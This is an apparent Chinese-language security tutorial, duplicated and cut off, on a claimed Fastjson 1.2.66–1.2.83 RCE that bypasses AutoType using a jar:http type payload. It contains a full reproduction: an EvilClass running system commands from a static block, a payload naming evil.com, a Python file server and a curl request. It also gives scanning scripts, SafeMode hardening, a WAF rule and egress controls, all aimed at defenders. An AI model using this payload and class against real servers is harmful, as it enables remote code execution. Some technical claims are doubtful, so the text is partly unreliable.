一、漏洞基础信息与事件完整经过1.1 漏洞核心标识信息漏洞名称Fastjson 1.2.66~1.2.83 无Gadget远程代码执行漏洞受影响版本1.2.66、1.2.67、1.2.68、1.2.69、1.2.70、1.2.71、1.2.72、1.2.73、1.2.74、1.2.75、1.2.76、1.2.77、1.2.78、1.2.79、1.2.80、1.2.81、1.2.82、1.2.83CVE编号无官方分配编号国内安全厂商、安全团队持续跟踪收录漏洞披露人Kirill Firsov公开时间2026年7月19日漏洞底层逻辑与基础PoC对外公开7月22日完整可直接利用EXP全网流通高危运行环境JDK8 Spring Boot FatJar可执行包全部满足条件的业务系统100%触发RCE防护失效关键点全局关闭AutoType自动类型转换、未引入第三方反序列化Gadget依赖两类传统防护手段完全失效1.2 漏洞爆发对国内Java生态的冲击现状国内互联网、政企政务平台、金融核心系统、微服务中间件SOFAMesh、第三方开放接口平台超七成Java业务系统选用Fastjson作为JSON序列化工具。过去三年企业通用安全加固标准固定为两项操作升级依赖至1.2.83最终稳定版配置AutoTypeSupportfalse关闭自动类型解析。大量安全建设薄弱的中小企业、老旧存量项目仅执行这两步加固未叠加其他防护规则。本次无Gadget利用链出现后存量系统大面积暴露攻击面。黑产自动化扫描工具上线三天全网监测到超十万次针对该漏洞的批量探测请求探测载荷统一携带jar:http协议type字段。1.3 漏洞攻击链路Mermaid流程图Attacker[攻击者] --|发送含jar:http载荷JSON请求| Server[Spring Boot FatJar业务服务]Server --|Fastjson解析JSON读取type字段| Parser[Fastjson底层解析器]Parser --|绕过AutoType开关校验识别jar协议| ClassLoader[LaunchedURLClassLoader]ClassLoader --|发起外网HTTP请求下载恶意Jar包| EvilServer[攻击者恶意文件服务器]EvilServer --|返回构造好的恶意Jar| ClassLoaderClassLoader --|内存加载Jar内恶意Class并实例化| Execute[执行恶意代码系统命令执行]Execute --|回显命令执行结果/植入后门| Attacker二、漏洞底层原理逐行拆解2.1 传统Fastjson RCE漏洞利用逻辑对比过往所有Fastjson反序列化远程代码执行漏洞核心攻击入口依赖type字段触发自动类型实例化流程。Fastjson读取JSON内部type参数后会通过反射机制实例化对应类对象若项目引入Commons Collections、Spring Core等存在危险执行逻辑的第三方类库攻击者就能构造Gadget调用链完成命令执行。行业应对方案针对性阻断该入口关闭AutoType自动类型转换后解析器直接丢弃type字段类型解析逻辑绝大多数历史漏洞攻击链路直接断裂。2.2 jar协议绕过AutoType校验核心底层逻辑本次漏洞攻击流程完全脱离type类型实例化逻辑Fastjson内置资源解析模块存在独立的协议解析分支该分支代码未接入AutoType开关校验逻辑。解析器识别到字段值以jar:http、jar:https协议头开头时会直接将资源地址交付当前上下文的类加载器处理不会读取全局AutoTypeSupport配置做拦截判断。Spring Boot打包FatJar时内置LaunchedURLClassLoader重写资源加载方法支持远程URL资源拉取攻击者借此远程下载外部Jar文件。2.3 LaunchedURLClassLoader远程加载Jar的执行流程类加载器接收jar:http格式资源字符串拆分协议头与远程文件地址建立HTTP客户端连接攻击者服务器GET请求下载Jar完整二进制流至内存缓冲区全程不落地本地磁盘解析Jar文件目录结构读取Jar包内部Class文件字节码调用defineClass方法在当前应用进程内定义全新类直接实例化该类恶意Class静态代码块、构造方法内置系统命令执行逻辑实例化瞬间触发命令调用完成远程代码执行。2.4 漏洞触发必须满足的硬性环境条件Fastjson依赖版本落在1.2.66至1.2.83区间低于1.2.66版本无jar协议资源解析分支不存在该漏洞项目采用Spring Boot官方打包插件构建FatJar可执行包容器部署、War外置Tomcat部署模式无LaunchedURLClassLoader漏洞无法触发运行JDK版本为JDK8JDK9及以上版本新增模块安全机制限制类加载器远程读取外部资源利用成功率大幅下降业务服务器具备外网出站网络权限若安全策略拦截服务器对外发起HTTP请求攻击者无法下发恶意Jar包攻击链路中断。2.5 漏洞架构Mermaid结构图subgraph 客户端攻击层A[攻击载荷] -- A1[“{”type:“jar:http://evil.com/exp.jar”}]endsubgraph Spring Boot应用层B[HTTP接口控制器] -- C[Fastjson JSON解析器]C --|协议解析分支无AutoType校验| D[资源地址分发模块]D -- E[LaunchedURLClassLoader]endsubgraph 远程资源层E -- F[攻击者恶意HTTP服务]F -- G[恶意Jar包内置执行代码]endsubgraph 进程执行层E -- H[内存加载恶意Class]H -- I[静态代码块执行系统命令]I -- J[读取服务器敏感文件/创建后门账户]end三、本地漏洞实战复现完整步骤3.1 复现环境基础配置清单本地测试环境硬件无硬性要求普通PC虚拟机均可搭建软件版本固定如下JDK1.8.0_391Spring Boot2.7.18主流稳定版本自动生成FatJar包Fastjson1.2.83漏洞覆盖最终版本关闭AutoType做加固构建工具Maven 3.8.8恶意文件服务器Python3内置http.server模块快速搭建3.2 Maven项目依赖完整pom.xml配置?xml version1.0 encodingUTF-8?projectxmlnshttp://maven.apache.org/POM/4.0.0xmlns:xsihttp://www.w3.org/2001/XMLSchema-instancexsi:schemaLocationhttp://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsdmodelVersion4.0.0/modelVersionparentgroupIdorg.springframework.boot/groupIdartifactIdspring-boot-starter-parent/artifactIdversion2.7.18/versionrelativePath//parentgroupIdcom.test/groupIdartifactIdfastjson-rce-test/artifactIdversion0.0.1-SNAPSHOT/versionnamefastjson-rce-test/namepropertiesjava.version1.8/java.version/propertiesdependenciesdependencygroupIdorg.springframework.boot/groupIdartifactIdspring-boot-starter-web/artifactId/dependency!-- 漏洞受影响Fastjson版本1.2.83 --dependencygroupIdcom.alibaba/groupIdartifactIdfastjson/artifactIdversion1.2.83/version/dependency/dependenciesbuildpluginsplugingroupIdorg.springframework.boot/groupIdartifactIdspring-boot-maven-plugin/artifactId/plugin/plugins/build/project3.3 业务测试接口代码全局关闭AutoTypepackagecom.test.fastjsonrce;importcom.alibaba.fastjson.JSON;importcom.alibaba.fastjson.parser.ParserConfig;importorg.springframework.web.bind.annotation.PostMapping;importorg.springframework.web.bind.annotation.RequestBody;importorg.springframework.web.bind.annotation.RestController;importjavax.annotation.PostConstruct;importjava.util.Map;RestControllerpublicclassTestController{// 项目启动时全局关闭AutoType行业标准加固配置PostConstructpublicvoidcloseAutoType(){ParserConfig.getGlobalInstance().setAutoTypeSupport(false);}PostMapping(/parseJson)publicStringparseJson(RequestBodyMapString,ObjectreqData){// 直接使用Fastjson原生解析JSON请求体StringjsonStrJSON.toJSONString(reqData);JSON.parse(jsonStr);return解析完成;}}3.4 恶意Jar包编写与编译打包新建恶意类EvilClass.java内置执行系统命令代码importjava.io.BufferedReader;importjava.io.InputStreamReader;publicclassEvilClass{// 静态代码块类加载瞬间自动执行static{try{// Windows系统执行calc弹出计算器Linux替换为id查看用户权限ProcessprocRuntime.getRuntime().exec(calc);BufferedReaderbrnewBufferedReader(newInputStreamReader(proc.getInputStream()));Stringline;while((linebr.readLine())!null){System.out.println(line);}proc.waitFor();br.close();}catch(Exceptione){e.printStackTrace();}}}编译Java文件生成class字节码文件javac EvilClass.java将class文件打包为恶意Jar包exp.jarjar cvf exp.jar EvilClass.class恶意Jar包存放目录启动Python静态文件服务监听8000端口python3-mhttp.server80003.5 项目打包运行与漏洞载荷发包测试Maven打包生成Spring Boot FatJar包mvn clean package-DskipTests后台运行打包后的Jar服务java-jartarget/fastjson-rce-test-0.0.1-SNAPSHOT.jarcurl工具发送漏洞攻击载荷请求替换IP为本地Python服务地址curl-XPOST http://127.0.0.1:8080/parseJson\-HContent-Type: application/json\-d{type:jar:http://127.0.0.1:8000/exp.jar}验证漏洞触发效果Windows本地自动弹出计算器程序证明远程代码执行成功关闭AutoType防护完全失效。四、企业存量Java应用批量排查脚本4.1 Linux环境Shell批量检测脚本脚本功能递归扫描服务器所有项目Jar包、Maven仓库依赖、配置文件自动识别Fastjson版本、AutoType开关状态、Spring Boot FatJar标记输出风险清单完整可直接复制运行。#!/bin/bash# Fastjson 1.2.66~1.2.83漏洞批量排查脚本# 扫描根目录可自行修改SCAN_PATH路径SCAN_PATH/data/projectOUTPUT_LOG/tmp/fastjson_vuln_check.log$OUTPUT_LOGecho Fastjson无Gadget RCE漏洞批量检测开始 $OUTPUT_LOGecho扫描路径$SCAN_PATH$OUTPUT_LOGecho检测时间$(date%Y-%m-%d %H:%M:%S)$OUTPUT_LOG# 1. 遍历所有jar包检索fastjson依赖版本echo-e\n[1] Jar包依赖版本检测$OUTPUT_LOGfind$SCAN_PATH-name*.jar-typef|whilereadjarfile;do# 检索jar内fastjson相关class文件提取版本jarver$(unzip-l$jarfile2/dev/null|grep-ifastjson|grepMETA-INF/MANIFEST.MF-A5-B5|grepImplementation-Version|awk{print $2})if[-n$jarver];then# 判断版本是否落在漏洞区间1.2.66 ~ 1.2.83ver_num$(echo$jarver|awk-F.{print $2$3})if[$ver_num-ge66][$ver_num-le83];thenecho【高危漏洞】Jar文件$jarfileFastjson版本$jarver$OUTPUT_LOG# 检测是否为Spring Boot FatJar包unzip-l$jarfile2/dev/null|grep-qBOOT-INF/if[$?-eq0];thenecho - 确认FatJar包漏洞可完整利用$OUTPUT_LOGfififidone# 2. 检索项目代码内AutoType开关配置echo-e\n[2] AutoType安全配置检测$OUTPUT_LOGfind$SCAN_PATH-name*.java-o-name*.properties-o-name*.yml|whilereadconf;dogrep-iAutoTypeSupport$conf2/dev/null|whilereadline;doecho配置文件$conf配置内容$line$OUTPUT_LOGdonedone# 3. 检索SafeMode安全模式配置echo-e\n[3] Fastjson SafeMode安全模式检测$OUTPUT_LOGfind$SCAN_PATH-name*.java-o-name*.properties-o-name*.yml|whilereadconf;dogrep-iSafeMode$conf2/dev/null|whilereadline;doecho安全模式配置$conf配置内容$line$OUTPUT_LOGdonedoneecho-e\n 漏洞检测任务完成报告输出路径$OUTPUT_LOGcat$OUTPUT_LOG4.2 Windows环境Bat批量检测脚本echo off setlocal enabledelayedexpansion set SCAN_PATHD:\project set OUTPUT_LOG%temp%\fastjson_vuln_check.log echo. %OUTPUT_LOG% echo Fastjson无Gadget RCE漏洞批量检测开始 %OUTPUT_LOG% echo 扫描路径%SCAN_PATH% %OUTPUT_LOG% echo 检测时间%date% %time% %OUTPUT_LOG% echo [1] Jar包依赖版本检测 %OUTPUT_LOG% for /r %SCAN_PATH% %%j in (*.jar) do ( jar tvf %%j | findstr /i fastjson | findstr Implementation-Version temp.txt for /f tokens3 %%v in (temp.txt) do ( set ver%%v set subver!ver:~4,2! if !subver! geq 66 if !subver! leq 83 ( echo 【高危漏洞】Jar文件%%j Fastjson版本!ver! %OUTPUT_LOG% jar tvf %%j | findstr BOOT-INF/ nul if !errorlevel! equ 0 ( echo - 确认FatJar包漏洞可完整利用 %OUTPUT_LOG% ) ) ) del temp.txt ) echo [2] AutoType安全配置检测 %OUTPUT_LOG% for /r %SCAN_PATH% %%f in (*.java *.properties *.yml) do ( findstr /i AutoTypeSupport %%f %OUTPUT_LOG% ) echo [3] SafeMode安全模式检测 %OUTPUT_LOG% for /r %SCAN_PATH% %%f in (*.java *.properties *.yml) do ( findstr /i SafeMode %%f %OUTPUT_LOG% ) echo 漏洞检测任务完成报告输出路径%OUTPUT_LOG% type %OUTPUT_LOG% pause4.3 脚本使用说明Linux脚本赋予执行权限后运行chmodx fastjson_check.sh ./fastjson_check.shWindows脚本直接双击运行扫描结果自动输出至临时目录日志文件脚本识别出高危Jar包后优先安排停机升级修复FatJar包系统风险等级最高优先处置。五、多层级Fastjson安全加固完整配置清单5.1 代码层启用Fastjson SafeMode安全模式核心修复手段SafeMode安全模式直接禁用外部URL、jar协议、文件协议资源解析从底层截断攻击链路所有受影响版本必须开启。全局启动SafeMode代码示例项目启动类执行一次即可全局生效importcom.alibaba.fastjson.parser.ParserConfig;importorg.springframework.boot.SpringApplication;importorg.springframework.boot.autoconfigure.SpringBootApplication;SpringBootApplicationpublicclassTestApplication{publicstaticvoidmain(String[]args){// 全局开启SafeMode阻断jar协议远程资源加载ParserConfig.getGlobalInstance().setSafeMode(true);SpringApplication.run(TestApplication.class,args);}}5.2 配置文件层最小化AutoType白名单业务存在序列化自定义实体类需求时禁止开启全局AutoTypeSupport仅添加业务必需类至白名单不开放通配符匹配。// 仅将业务自有实体类加入白名单ParserConfigconfigParserConfig.getGlobalInstance();config.addAccept(com.test.entity.*);// 禁止执行以下高危配置// config.setAutoTypeSupport(true);// config.addAccept(*);5.3 网关/WAF层拦截恶意攻击载荷规则Nginx WAF拦截规则匹配请求体内jar:http、jar:https关键字直接返回403拒绝访问location / { if ($request_body ~* jar:(http|https)) { return 403; } proxy_pass http://backend_service; }5.4 服务器网络层出站访问限制防火墙策略拦截业务服务器对外发起80、443端口出站请求阻断攻击者远程下发恶意Jar包通道仅放行业务必需第三方接口域名白名单。5.5 依赖层永久修复方案移除项目Fastjson 1.x全系列依赖替换为Jackson、Gson序列化组件无法替换组件场景升级至Fastjson官方发布修复该漏洞的新版本Maven依赖锁定机制禁止构建过程拉取漏洞区间版本dependencyManagementdependenciesdependencygroupIdcom.alibaba/groupIdartifactIdfastjson/artifactIdversion修复版版本号/version/dependency/dependencies/dependencyManagement六、不同部署环境风险分级与专项检测方案6.1 Spring Boot FatJar部署高危等级风险判定标准打包后Jar根目录存在BOOT-INF文件夹内置LaunchedURLClassLoaderJDK8环境下漏洞100%利用。专项检测命令unzip-lapp.jar|grepBOOT-INF处置优先级最高24小时内完成SafeMode开启或依赖升级。6.2 War包外置Tomcat部署低危等级外置Tomcat类加载器不支持远程URL Jar加载即便Fastjson版本存在漏洞攻击链路无法走完无RCE风险。专项检测命令find/usr/local/tomcat/webapps-name*.war处置方案仅需开启SafeMode做基础防护无需紧急停机升级。6.3 SOFAMesh微服务中间件内置Fastjson检测蚂蚁SOFAMesh中间件内置Fastjson依赖存量微服务集群普遍存在单独检测中间件Jar包find/data/sofa-mesh-namefastjson*.jar处置方案升级SOFAMesh中间件完整安装包同步开启SafeMode配置。6.4 JDK版本风险划分JDK8高危无模块安全限制类加载器可自由拉取远程JarJDK11、JDK17中低危模块安全机制限制外部资源加载利用条件苛刻JDK21低危新增类加载器安全校验完全阻断远程Jar加载逻辑。七、漏洞长期常态化安全运营机制7.1 CI/CD流水线依赖漏洞自动检测集成Maven Dependency Check插件构建阶段自动扫描Fastjson版本识别漏洞区间版本直接阻断打包发布插件配置如下plugingroupIdorg.owasp/groupIdartifactIddependency-check-maven/artifactIdversion9.2.0/versionexecutionsexecutiongoalsgoalcheck/goal/goals/execution/executionsconfigurationfailOnCVSS7/failOnCVSS/configuration/plugin7.2 周期性资产扫描计划每周执行一次服务器Jar包批量检测脚本自动推送高危风险报告至安全运维团队每月全量梳理业务系统序列化组件使用情况逐步淘汰Fastjson。7.3 研发人员安全规范培训制定开发编码规范强制新项目禁用Fastjson 1.x组件存量项目开发需求变更时同步开启SafeMode安全模式代码评审阶段重点校验Fastjson相关配置。八、结尾互动你们公司线上Spring Boot FatJar业务是否还在使用Fastjson 1.2.83仅依靠关闭AutoType做防护存量老旧Java项目无法立刻替换Fastjson组件除开启SafeMode之外还有哪些低成本临时缓解手段
Fastjson 1.2.83无Gadget RCE实战复现+企业全量排查加固完整教程
一、漏洞基础信息与事件完整经过1.1 漏洞核心标识信息漏洞名称Fastjson 1.2.66~1.2.83 无Gadget远程代码执行漏洞受影响版本1.2.66、1.2.67、1.2.68、1.2.69、1.2.70、1.2.71、1.2.72、1.2.73、1.2.74、1.2.75、1.2.76、1.2.77、1.2.78、1.2.79、1.2.80、1.2.81、1.2.82、1.2.83CVE编号无官方分配编号国内安全厂商、安全团队持续跟踪收录漏洞披露人Kirill Firsov公开时间2026年7月19日漏洞底层逻辑与基础PoC对外公开7月22日完整可直接利用EXP全网流通高危运行环境JDK8 Spring Boot FatJar可执行包全部满足条件的业务系统100%触发RCE防护失效关键点全局关闭AutoType自动类型转换、未引入第三方反序列化Gadget依赖两类传统防护手段完全失效1.2 漏洞爆发对国内Java生态的冲击现状国内互联网、政企政务平台、金融核心系统、微服务中间件SOFAMesh、第三方开放接口平台超七成Java业务系统选用Fastjson作为JSON序列化工具。过去三年企业通用安全加固标准固定为两项操作升级依赖至1.2.83最终稳定版配置AutoTypeSupportfalse关闭自动类型解析。大量安全建设薄弱的中小企业、老旧存量项目仅执行这两步加固未叠加其他防护规则。本次无Gadget利用链出现后存量系统大面积暴露攻击面。黑产自动化扫描工具上线三天全网监测到超十万次针对该漏洞的批量探测请求探测载荷统一携带jar:http协议type字段。1.3 漏洞攻击链路Mermaid流程图Attacker[攻击者] --|发送含jar:http载荷JSON请求| Server[Spring Boot FatJar业务服务]Server --|Fastjson解析JSON读取type字段| Parser[Fastjson底层解析器]Parser --|绕过AutoType开关校验识别jar协议| ClassLoader[LaunchedURLClassLoader]ClassLoader --|发起外网HTTP请求下载恶意Jar包| EvilServer[攻击者恶意文件服务器]EvilServer --|返回构造好的恶意Jar| ClassLoaderClassLoader --|内存加载Jar内恶意Class并实例化| Execute[执行恶意代码系统命令执行]Execute --|回显命令执行结果/植入后门| Attacker二、漏洞底层原理逐行拆解2.1 传统Fastjson RCE漏洞利用逻辑对比过往所有Fastjson反序列化远程代码执行漏洞核心攻击入口依赖type字段触发自动类型实例化流程。Fastjson读取JSON内部type参数后会通过反射机制实例化对应类对象若项目引入Commons Collections、Spring Core等存在危险执行逻辑的第三方类库攻击者就能构造Gadget调用链完成命令执行。行业应对方案针对性阻断该入口关闭AutoType自动类型转换后解析器直接丢弃type字段类型解析逻辑绝大多数历史漏洞攻击链路直接断裂。2.2 jar协议绕过AutoType校验核心底层逻辑本次漏洞攻击流程完全脱离type类型实例化逻辑Fastjson内置资源解析模块存在独立的协议解析分支该分支代码未接入AutoType开关校验逻辑。解析器识别到字段值以jar:http、jar:https协议头开头时会直接将资源地址交付当前上下文的类加载器处理不会读取全局AutoTypeSupport配置做拦截判断。Spring Boot打包FatJar时内置LaunchedURLClassLoader重写资源加载方法支持远程URL资源拉取攻击者借此远程下载外部Jar文件。2.3 LaunchedURLClassLoader远程加载Jar的执行流程类加载器接收jar:http格式资源字符串拆分协议头与远程文件地址建立HTTP客户端连接攻击者服务器GET请求下载Jar完整二进制流至内存缓冲区全程不落地本地磁盘解析Jar文件目录结构读取Jar包内部Class文件字节码调用defineClass方法在当前应用进程内定义全新类直接实例化该类恶意Class静态代码块、构造方法内置系统命令执行逻辑实例化瞬间触发命令调用完成远程代码执行。2.4 漏洞触发必须满足的硬性环境条件Fastjson依赖版本落在1.2.66至1.2.83区间低于1.2.66版本无jar协议资源解析分支不存在该漏洞项目采用Spring Boot官方打包插件构建FatJar可执行包容器部署、War外置Tomcat部署模式无LaunchedURLClassLoader漏洞无法触发运行JDK版本为JDK8JDK9及以上版本新增模块安全机制限制类加载器远程读取外部资源利用成功率大幅下降业务服务器具备外网出站网络权限若安全策略拦截服务器对外发起HTTP请求攻击者无法下发恶意Jar包攻击链路中断。2.5 漏洞架构Mermaid结构图subgraph 客户端攻击层A[攻击载荷] -- A1[“{”type:“jar:http://evil.com/exp.jar”}]endsubgraph Spring Boot应用层B[HTTP接口控制器] -- C[Fastjson JSON解析器]C --|协议解析分支无AutoType校验| D[资源地址分发模块]D -- E[LaunchedURLClassLoader]endsubgraph 远程资源层E -- F[攻击者恶意HTTP服务]F -- G[恶意Jar包内置执行代码]endsubgraph 进程执行层E -- H[内存加载恶意Class]H -- I[静态代码块执行系统命令]I -- J[读取服务器敏感文件/创建后门账户]end三、本地漏洞实战复现完整步骤3.1 复现环境基础配置清单本地测试环境硬件无硬性要求普通PC虚拟机均可搭建软件版本固定如下JDK1.8.0_391Spring Boot2.7.18主流稳定版本自动生成FatJar包Fastjson1.2.83漏洞覆盖最终版本关闭AutoType做加固构建工具Maven 3.8.8恶意文件服务器Python3内置http.server模块快速搭建3.2 Maven项目依赖完整pom.xml配置?xml version1.0 encodingUTF-8?projectxmlnshttp://maven.apache.org/POM/4.0.0xmlns:xsihttp://www.w3.org/2001/XMLSchema-instancexsi:schemaLocationhttp://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsdmodelVersion4.0.0/modelVersionparentgroupIdorg.springframework.boot/groupIdartifactIdspring-boot-starter-parent/artifactIdversion2.7.18/versionrelativePath//parentgroupIdcom.test/groupIdartifactIdfastjson-rce-test/artifactIdversion0.0.1-SNAPSHOT/versionnamefastjson-rce-test/namepropertiesjava.version1.8/java.version/propertiesdependenciesdependencygroupIdorg.springframework.boot/groupIdartifactIdspring-boot-starter-web/artifactId/dependency!-- 漏洞受影响Fastjson版本1.2.83 --dependencygroupIdcom.alibaba/groupIdartifactIdfastjson/artifactIdversion1.2.83/version/dependency/dependenciesbuildpluginsplugingroupIdorg.springframework.boot/groupIdartifactIdspring-boot-maven-plugin/artifactId/plugin/plugins/build/project3.3 业务测试接口代码全局关闭AutoTypepackagecom.test.fastjsonrce;importcom.alibaba.fastjson.JSON;importcom.alibaba.fastjson.parser.ParserConfig;importorg.springframework.web.bind.annotation.PostMapping;importorg.springframework.web.bind.annotation.RequestBody;importorg.springframework.web.bind.annotation.RestController;importjavax.annotation.PostConstruct;importjava.util.Map;RestControllerpublicclassTestController{// 项目启动时全局关闭AutoType行业标准加固配置PostConstructpublicvoidcloseAutoType(){ParserConfig.getGlobalInstance().setAutoTypeSupport(false);}PostMapping(/parseJson)publicStringparseJson(RequestBodyMapString,ObjectreqData){// 直接使用Fastjson原生解析JSON请求体StringjsonStrJSON.toJSONString(reqData);JSON.parse(jsonStr);return解析完成;}}3.4 恶意Jar包编写与编译打包新建恶意类EvilClass.java内置执行系统命令代码importjava.io.BufferedReader;importjava.io.InputStreamReader;publicclassEvilClass{// 静态代码块类加载瞬间自动执行static{try{// Windows系统执行calc弹出计算器Linux替换为id查看用户权限ProcessprocRuntime.getRuntime().exec(calc);BufferedReaderbrnewBufferedReader(newInputStreamReader(proc.getInputStream()));Stringline;while((linebr.readLine())!null){System.out.println(line);}proc.waitFor();br.close();}catch(Exceptione){e.printStackTrace();}}}编译Java文件生成class字节码文件javac EvilClass.java将class文件打包为恶意Jar包exp.jarjar cvf exp.jar EvilClass.class恶意Jar包存放目录启动Python静态文件服务监听8000端口python3-mhttp.server80003.5 项目打包运行与漏洞载荷发包测试Maven打包生成Spring Boot FatJar包mvn clean package-DskipTests后台运行打包后的Jar服务java-jartarget/fastjson-rce-test-0.0.1-SNAPSHOT.jarcurl工具发送漏洞攻击载荷请求替换IP为本地Python服务地址curl-XPOST http://127.0.0.1:8080/parseJson\-HContent-Type: application/json\-d{type:jar:http://127.0.0.1:8000/exp.jar}验证漏洞触发效果Windows本地自动弹出计算器程序证明远程代码执行成功关闭AutoType防护完全失效。四、企业存量Java应用批量排查脚本4.1 Linux环境Shell批量检测脚本脚本功能递归扫描服务器所有项目Jar包、Maven仓库依赖、配置文件自动识别Fastjson版本、AutoType开关状态、Spring Boot FatJar标记输出风险清单完整可直接复制运行。#!/bin/bash# Fastjson 1.2.66~1.2.83漏洞批量排查脚本# 扫描根目录可自行修改SCAN_PATH路径SCAN_PATH/data/projectOUTPUT_LOG/tmp/fastjson_vuln_check.log$OUTPUT_LOGecho Fastjson无Gadget RCE漏洞批量检测开始 $OUTPUT_LOGecho扫描路径$SCAN_PATH$OUTPUT_LOGecho检测时间$(date%Y-%m-%d %H:%M:%S)$OUTPUT_LOG# 1. 遍历所有jar包检索fastjson依赖版本echo-e\n[1] Jar包依赖版本检测$OUTPUT_LOGfind$SCAN_PATH-name*.jar-typef|whilereadjarfile;do# 检索jar内fastjson相关class文件提取版本jarver$(unzip-l$jarfile2/dev/null|grep-ifastjson|grepMETA-INF/MANIFEST.MF-A5-B5|grepImplementation-Version|awk{print $2})if[-n$jarver];then# 判断版本是否落在漏洞区间1.2.66 ~ 1.2.83ver_num$(echo$jarver|awk-F.{print $2$3})if[$ver_num-ge66][$ver_num-le83];thenecho【高危漏洞】Jar文件$jarfileFastjson版本$jarver$OUTPUT_LOG# 检测是否为Spring Boot FatJar包unzip-l$jarfile2/dev/null|grep-qBOOT-INF/if[$?-eq0];thenecho - 确认FatJar包漏洞可完整利用$OUTPUT_LOGfififidone# 2. 检索项目代码内AutoType开关配置echo-e\n[2] AutoType安全配置检测$OUTPUT_LOGfind$SCAN_PATH-name*.java-o-name*.properties-o-name*.yml|whilereadconf;dogrep-iAutoTypeSupport$conf2/dev/null|whilereadline;doecho配置文件$conf配置内容$line$OUTPUT_LOGdonedone# 3. 检索SafeMode安全模式配置echo-e\n[3] Fastjson SafeMode安全模式检测$OUTPUT_LOGfind$SCAN_PATH-name*.java-o-name*.properties-o-name*.yml|whilereadconf;dogrep-iSafeMode$conf2/dev/null|whilereadline;doecho安全模式配置$conf配置内容$line$OUTPUT_LOGdonedoneecho-e\n 漏洞检测任务完成报告输出路径$OUTPUT_LOGcat$OUTPUT_LOG4.2 Windows环境Bat批量检测脚本echo off setlocal enabledelayedexpansion set SCAN_PATHD:\project set OUTPUT_LOG%temp%\fastjson_vuln_check.log echo. %OUTPUT_LOG% echo Fastjson无Gadget RCE漏洞批量检测开始 %OUTPUT_LOG% echo 扫描路径%SCAN_PATH% %OUTPUT_LOG% echo 检测时间%date% %time% %OUTPUT_LOG% echo [1] Jar包依赖版本检测 %OUTPUT_LOG% for /r %SCAN_PATH% %%j in (*.jar) do ( jar tvf %%j | findstr /i fastjson | findstr Implementation-Version temp.txt for /f tokens3 %%v in (temp.txt) do ( set ver%%v set subver!ver:~4,2! if !subver! geq 66 if !subver! leq 83 ( echo 【高危漏洞】Jar文件%%j Fastjson版本!ver! %OUTPUT_LOG% jar tvf %%j | findstr BOOT-INF/ nul if !errorlevel! equ 0 ( echo - 确认FatJar包漏洞可完整利用 %OUTPUT_LOG% ) ) ) del temp.txt ) echo [2] AutoType安全配置检测 %OUTPUT_LOG% for /r %SCAN_PATH% %%f in (*.java *.properties *.yml) do ( findstr /i AutoTypeSupport %%f %OUTPUT_LOG% ) echo [3] SafeMode安全模式检测 %OUTPUT_LOG% for /r %SCAN_PATH% %%f in (*.java *.properties *.yml) do ( findstr /i SafeMode %%f %OUTPUT_LOG% ) echo 漏洞检测任务完成报告输出路径%OUTPUT_LOG% type %OUTPUT_LOG% pause4.3 脚本使用说明Linux脚本赋予执行权限后运行chmodx fastjson_check.sh ./fastjson_check.shWindows脚本直接双击运行扫描结果自动输出至临时目录日志文件脚本识别出高危Jar包后优先安排停机升级修复FatJar包系统风险等级最高优先处置。五、多层级Fastjson安全加固完整配置清单5.1 代码层启用Fastjson SafeMode安全模式核心修复手段SafeMode安全模式直接禁用外部URL、jar协议、文件协议资源解析从底层截断攻击链路所有受影响版本必须开启。全局启动SafeMode代码示例项目启动类执行一次即可全局生效importcom.alibaba.fastjson.parser.ParserConfig;importorg.springframework.boot.SpringApplication;importorg.springframework.boot.autoconfigure.SpringBootApplication;SpringBootApplicationpublicclassTestApplication{publicstaticvoidmain(String[]args){// 全局开启SafeMode阻断jar协议远程资源加载ParserConfig.getGlobalInstance().setSafeMode(true);SpringApplication.run(TestApplication.class,args);}}5.2 配置文件层最小化AutoType白名单业务存在序列化自定义实体类需求时禁止开启全局AutoTypeSupport仅添加业务必需类至白名单不开放通配符匹配。// 仅将业务自有实体类加入白名单ParserConfigconfigParserConfig.getGlobalInstance();config.addAccept(com.test.entity.*);// 禁止执行以下高危配置// config.setAutoTypeSupport(true);// config.addAccept(*);5.3 网关/WAF层拦截恶意攻击载荷规则Nginx WAF拦截规则匹配请求体内jar:http、jar:https关键字直接返回403拒绝访问location / { if ($request_body ~* jar:(http|https)) { return 403; } proxy_pass http://backend_service; }5.4 服务器网络层出站访问限制防火墙策略拦截业务服务器对外发起80、443端口出站请求阻断攻击者远程下发恶意Jar包通道仅放行业务必需第三方接口域名白名单。5.5 依赖层永久修复方案移除项目Fastjson 1.x全系列依赖替换为Jackson、Gson序列化组件无法替换组件场景升级至Fastjson官方发布修复该漏洞的新版本Maven依赖锁定机制禁止构建过程拉取漏洞区间版本dependencyManagementdependenciesdependencygroupIdcom.alibaba/groupIdartifactIdfastjson/artifactIdversion修复版版本号/version/dependency/dependencies/dependencyManagement六、不同部署环境风险分级与专项检测方案6.1 Spring Boot FatJar部署高危等级风险判定标准打包后Jar根目录存在BOOT-INF文件夹内置LaunchedURLClassLoaderJDK8环境下漏洞100%利用。专项检测命令unzip-lapp.jar|grepBOOT-INF处置优先级最高24小时内完成SafeMode开启或依赖升级。6.2 War包外置Tomcat部署低危等级外置Tomcat类加载器不支持远程URL Jar加载即便Fastjson版本存在漏洞攻击链路无法走完无RCE风险。专项检测命令find/usr/local/tomcat/webapps-name*.war处置方案仅需开启SafeMode做基础防护无需紧急停机升级。6.3 SOFAMesh微服务中间件内置Fastjson检测蚂蚁SOFAMesh中间件内置Fastjson依赖存量微服务集群普遍存在单独检测中间件Jar包find/data/sofa-mesh-namefastjson*.jar处置方案升级SOFAMesh中间件完整安装包同步开启SafeMode配置。6.4 JDK版本风险划分JDK8高危无模块安全限制类加载器可自由拉取远程JarJDK11、JDK17中低危模块安全机制限制外部资源加载利用条件苛刻JDK21低危新增类加载器安全校验完全阻断远程Jar加载逻辑。七、漏洞长期常态化安全运营机制7.1 CI/CD流水线依赖漏洞自动检测集成Maven Dependency Check插件构建阶段自动扫描Fastjson版本识别漏洞区间版本直接阻断打包发布插件配置如下plugingroupIdorg.owasp/groupIdartifactIddependency-check-maven/artifactIdversion9.2.0/versionexecutionsexecutiongoalsgoalcheck/goal/goals/execution/executionsconfigurationfailOnCVSS7/failOnCVSS/configuration/plugin7.2 周期性资产扫描计划每周执行一次服务器Jar包批量检测脚本自动推送高危风险报告至安全运维团队每月全量梳理业务系统序列化组件使用情况逐步淘汰Fastjson。7.3 研发人员安全规范培训制定开发编码规范强制新项目禁用Fastjson 